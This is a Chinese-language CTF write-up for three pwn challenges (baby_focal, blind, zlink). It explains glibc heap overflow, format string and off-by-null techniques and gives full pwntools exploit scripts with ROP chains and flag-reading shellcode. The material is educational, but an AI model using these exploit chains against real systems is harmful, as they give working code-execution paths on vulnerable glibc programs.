baby_focal

glibc 2.31 ,没有 PIE ,没有输出功能,开沙盒的堆溢出:

image-20210526162806516

没有输出功能思路基本都是攻击 stdout 泄露出 libc 地址,这条题目分配函数用的是 calloc ,相当于没有 tcache 存在的,攻击思路和 glibc 2.23 一样。然后就是利用 free_hook 栈迁移到堆上的 orw 。

思路

  1. 填满 tcache 之后,利用堆溢出形成堆重叠,形成两个指向同一个地址的指针。注意需要在第一个 unsortedbin 前面布置一个堆,用来修改 size 来绕过保护。

  2. 两个同一地址的指针,在 fastbin 写入 main_arena_xx 地址,爆破 1/16 到 stdout 上方,利用错位构造出符合 fastbin 的 size 位。

    这篇文章末尾中有提及:http://blog.eonew.cn/archives/1190

  3. 修复 unsortedbin 恢复分配释放功能。利用堆溢出劫持 fastbin fd 指针将堆分配到堆指针数组(需要提前布置 size 绕过保护),实现任意地址写。

  4. 将 free_hook 劫持为 puts ,泄露出堆地址。

  5. 布置好两个堆,将 free_hook 劫持为 libc 控制 rbp 的 gadget 栈迁移到堆。

    两个堆内容参考:https://www.mrskye.cn/archives/b88f4a53/#ParentSimulator ,第一个堆填充长度需要调整一下。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#encoding:utf-8
from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

def name(name):
p.sendlineafter("name: ",name)
def add(id,size):
p.sendlineafter(">> ",str(1))
p.sendlineafter(">> ",str(id))
p.sendlineafter(">> ",str(size))
def edit(id,content):
p.sendlineafter(">> ",str(2))
p.sendlineafter(">> ",str(id))
p.sendafter(">> ",content)
def delete(id):
p.sendlineafter(">> ",str(3))
p.sendlineafter(">> ",str(id))
def free(id):
p.sendlineafter(">> ",str(3))
p.sendlineafter(">> ",str(id))

def exp():
name("skye")
'''
for _ in range(8):
add(0,0x68)
delete(0)
add(0,0x68)
add(1,0x68)
delete(1)
edit(0,'a'*0x68+p64(0x71)+p64(0x404060))
add(1,0x68)
add(2,0x68)
'''
# fill tcache
for i in range(7):
add(0,0x68)
free(0)
for i in range(7):
add(0,0x200)
free(0)
add(0,0x68)
add(1,0x200)
add(2,0x68)
add(3,0x200)
add(4,0x250)#protect

#堆重叠
delete(1)
edit(0,'a'*0x68+p64(0x281)+'\n')#corrupted size vs. prev_size while consolidating
edit(2,'a'*0x60+p64(0x280)+p64(0x210)+'\n')
delete(3)
delete(2)
add(1,0x208)

# _IO_2_1_stderr_ = libc.sym['_IO_2_1_stderr_']
# log.info("_IO_2_1_stderr_:"+hex(_IO_2_1_stderr_))
# _IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
# log.info("_IO_2_1_stdout_:"+hex(_IO_2_1_stdout_))
# target = _IO_2_1_stderr_+0xa0+5-8
# log.info("target:"+hex(target))

#fastbin attack
#0x7ffff7fad65d
edit(1,'b'*0x200+p64(0)+p64(0x71)+"\x5d\xd6"+'\n')
add(2,0x68)
add(3,0x68)
edit(3,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p8(0)+'\n')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7ffff7fac980-0x7ffff7dc1000)
log.info("libc_base:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))

# edit(2,p64(0x7ffff7facbe0)*2+'\n')
edit(2,p64(libc_base + (0x7ffff7facbe0-0x7ffff7dc1000))*2+'\n')
# fix unsortedbin
edit(1,'a'*0x208+p64(0x281)+'\n')
delete(0)
delete(4)
add(4,0x68)
add(0,0x68)
delete(4)
delete(0)
edit(2,p64(0x404080)+'\n')
add(4,0x68)
add(0,0x68)
edit(0,p64(0x404060)+p64(0x218)+'\n')
edit(3,p64(free_hook)+p64(0x10)+p64(0x404080)+'\n')
edit(0,p64(libc_base+libc.sym['puts'])+'\n')
delete(1)
p.recvuntil('\n')
heap_addr = u64(p.recv(3).ljust(8,'\x00'))
log.info("heap_addr:"+hex(heap_addr))

libc_gadget = libc_base+0x0000000000157d8a
pop_rdi_ret = libc_base+0x0000000000026b72
pop_rsi_ret = libc_base+0x0000000000027529
pop_rdx_r12_ret = libc_base+0x000000000011c371
leave_ret = libc_base+0x000000000005aa48
add_rsp_0x18_ret = libc_base+0x000000000003794a
open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
tcache_struct = heap_addr-0x6d0
log.info("tcache_struct:"+hex(tcache_struct))

edit(3,p64(free_hook)+p64(0x10)+p64(heap_addr-(0x40c6d0-0x40c240))+p64(0x200)+p64(heap_addr-(0x40c6d0-0x40c4b0))+p64(0x200)+'\n')
edit(0,p64(libc_gadget)+'\n')

# free chunk payload
payload="./flag\x00\x00\x00".ljust(0x38+0x10,'a')
payload += p64(heap_addr-(0x40c6d0-0x40c4b0)) #ropchunk
payload += p64(leave_ret)
edit(1,payload+'\n')

# ropchain chunk payload
payload =p64(0xdeadbeefdeadbeef)+p64(add_rsp_0x18_ret)
payload+=p64(0xdeadbeefdeadbeef)+p64(heap_addr-(0x40c6d0-0x40c240)+0x28)
payload+=p64(0xdeadbeefdeadbeef)
payload+=p64(pop_rdi_ret)+p64(heap_addr-(0x40c6d0-0x40c240)) #"flag" in chunk
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_r12_ret)+p64(0)*2
payload+=p64(open_addr)

payload+=p64(pop_rdi_ret)+p64(3)
payload+=p64(pop_rsi_ret)
payload+=p64(tcache_struct+0x400)
payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
payload+=p64(read_addr)

# payload+=p64(pop_rdi_ret)
# payload+=p64(tcache_struct+0x400)
# payload+=p64(puts)
payload+=p64(pop_rdi_ret)
payload+=p64(1)
payload+=p64(pop_rsi_ret)
payload+=p64(tcache_struct+0x400)
payload+=p64(libc_base+libc.sym['write'])
edit(2,payload+'\n')

# 0x7ffff7facbe0
log.info("libc_gadget:"+hex(libc_gadget))
# gdb.attach(p,"b *0x4018EF")
# raw_input()

delete(1)

flag = p.recv()
if("flag" in flag):
print(flag)
sleep(1000000000);

p.interactive()

if __name__ == '__main__':
p = process("./baby_focal")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./baby_focal")
# p = process("./BabyNote")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# p = remote("8.134.14.168", 10000)
# libc = ELF("./libc-2.31.so")
while True:
try:
exp()
exit(0)
except:
p.close()
# p = remote("8.134.14.168", 10000)
p = process("./baby_focal")

相关资料

blind

关闭 canary 和 PIE ,存在格式化字符串漏洞、栈溢出:

image-20210527233833264

image-20210527233817181

一开始思路是想着让 read 返回值是 0 ,也就是输入 EOF 信号,然后到后门函数栈溢出完事。可是 scanf 输入的不能溢出修改 v3 的随机数 GG。最后参考师傅们思路:利用格式化字符串劫持 exit 函数内一条 call 指令调用后门函数,实现栈溢出。

image-20210527234831762

  • 一系列命令后最后调用 r12+rdx*8。正常情况下 rdx 为 0 ,r12 指向函数地址

  • R12 来源路径:从 rax+8 作为初值,然后加上 rbx 指向的值

    • rax+8 是一个 bss 的地址,即 r12 初值是一个 bss 段地址
    • rbx 指向的是一个栈上地址

    image-20210527235329907

    控制 rbx 在栈上的值,将指令最后指向提前再 bss 段写入的后门地址完成调用。

思路

  1. 利用格式化字符串修改 exit 函数中 rdx 对应栈位置为预定值,并在同时写入后门地址
  2. 利用栈溢出构造一个 read 劫持某个函数 got 表为 onegadget ,需要爆破 1/16

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import tty
context.log_level='debug'
context.terminal=['tmux','sp','-h']
p = process("./blind")
elf = ELF("./blind")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


p.recvuntil("???\n")
# gdb.attach(p,"b *0x400980")
# gdb.attach(p,'b *0x400929')
# raw_input()

p.send("%"+str(0x2b3)+"c%26$hn"+p64(0x400913))

sleep(0.2)

pop_rdi_ret = 0x0000000000400a43
pop_rsi_r15_ret = 0x0000000000400a41

payload = 'a'*(0x38)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(elf.got['read'])*2
payload += p64(elf.plt['read'])*2
p.send(payload)

'''
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

sleep(0.5)
p.send(p16(0x8364)+'\x00')

p.interactive()

glibc 2.23 的远程环境,保护全开。

show 和 申请 0x100&0x500 两个功能共用一个全局标记,合计使用次数不能大于 2 。edit 功能只能使用一次,edit 里面还有在 __free_hook - 2 写入 0x7f ,用于将 fastbin 分配到 __free_hook ,也可以不利用这个后面写入的 0x7f ,从 __free_hook 向上找到 stdout 附近,通过偏移构造出 0x7f 。

image-20210602150035265

当申请堆块 index 大于 9 时会有 off by null :

image-20210602145332694

思路

  1. 使用 gift(申请 0x100 & 0x500 堆块)和 show 泄露出 libc 地址
  2. 利用 offbynull 修改 0x100 prev_inuse ,然后修改 0x100 前的 fastbin fk、bk 指针到 main_arena 特定地址绕过 unlink 检查,将 0x100 与前面 fastbin 合并,申请出两个指向同一地址的指针
  3. 劫持 __free_hook 为 setcontext+0x53 ,构造 read 向 libc bss 段写入
  4. Mprotect 给权限,然后 orw shellcode

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
context.arch = 'amd64'
p = process("./zlink")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(id,size,content):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Index:",str(id))
p.sendlineafter("Size of Heap : ",str(size))
p.sendafter("Content?:",content)
def delete(id):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index:",str(id))
def show(id):
p.sendlineafter("Your choice :",str(5))
p.sendlineafter("Index :",str(id))
def edit(id,content):
p.sendlineafter("Your choice :",str(6))
p.sendlineafter("Index:",str(id))
p.sendafter("Content?:",content)

add(0,0x68,'skye')#用于 fastbin double 隔断
add(1,0x70,'skye')#0x100 在0x100前面留些空间,用于等下申请0x100时整理fastbin放入unsortedbin里面泄露出地址,然后用0x100来形成unlink攻击
add(2,0x70,'skye')#0x100

delete(1)
delete(2)
p.sendlineafter("Your choice :",str(4))#14 15 整理fastbin放入unsortedbin
add(1,0x20,'a')
show(1)
libc_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-(0x7fdaa6b4cc61-0x7fdaa6788000)
log.info("libc_addr:"+hex(libc_addr))

add(2,0x58,'a')#padding
add(10,0x68,p64(libc_addr+0x3c4b80-0x18)+p64(libc_addr+0x3c4b80-0x10)) #offbynull
#绕过unlink检查,就是让fd->bk=p;bk->fd=p;在main_arean能找到相应的指针
delete(14)#触发unlink合并
add(3,0x68,'a')#形成双指针指向同一地址

delete(10)#fastbin double free
delete(0)
delete(3)

add(3,0x68,p64(libc_addr+libc.sym['__free_hook']-0x18))
add(0,0x68,"skye")
add(4,0x68,"skye")
edit(4,'skyeyyds')#在freehook上面写一个0x7f,用fastbin分配过去
add(5,0x68,p64(0)+p64(libc_addr+libc.sym['setcontext']+53))
add(6,0x50,'\x00')

pop_rdi_ret = libc_addr + 0x0000000000021112
pop_rsi_ret = libc_addr + 0x00000000000202f8
pop_rdx_ret = libc_addr + 0x0000000000001b92
leave_ret = libc_addr + 0x0000000000042361
ret = libc_addr + 0x0000000000000937

libc.address = libc_addr
add(7,0x70,"A"*0x8+p64(0)+p64(libc.address+0x3c6000)+p64(0)+p64(0)+p64(0x100)+p64(0)*2+p64(libc.address+0x3c6000)+p64(libc.address+0xbc3f5))


print hex(libc_addr+libc.sym['__free_hook']-0x18)
gdb.attach(p,"b *$rebase(0x11BB)")
raw_input()

delete(6)

pause()
payload = [ #mprotect
libc.address + 0x0000000000021112,#pop_rdi_ret
libc.address + 0x3c6000,#bss
libc.address + 0x00000000000202f8,#pop_rsi_ret
0x2000,
libc.address + 0x0000000000001b92,#pop_rdx_ret
7,
libc.address + 0x000000000003a738,#pop_rax_ret
10,
libc.address + 0x00000000000bc3f5,#syscall_ret
libc.address + 0x0000000000002a71 #jmp rsp
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
mov edi, eax
mov rsi, rsp
mov edx, 0x30
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
''')
p.send(flat(payload) + shellcode)

p.interactive()